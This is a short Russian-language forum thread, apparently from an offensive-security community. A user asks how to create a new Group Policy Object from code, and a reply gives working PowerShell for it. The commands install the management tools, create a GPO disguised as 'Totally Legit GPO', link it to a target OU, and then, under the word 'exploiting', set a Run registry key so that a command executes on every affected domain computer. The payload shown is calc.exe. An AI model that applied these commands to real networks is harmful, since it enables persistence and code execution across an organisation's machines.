создание GPO

[CCod]

Здравствуйте
Как можно создать новое гпо из кода без гуи? Powershell,vbs,js,шарпы или сишка. На гитхабе лежат разные гпо абьюзы,но они меняют текущую политику

 

[valeraleontev]

Вот через пошик.

Добавляем нужные штуки

Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy

Cоздание новой GPO и привязка её к нужной OU:

New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

Эксплуатируем:

Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString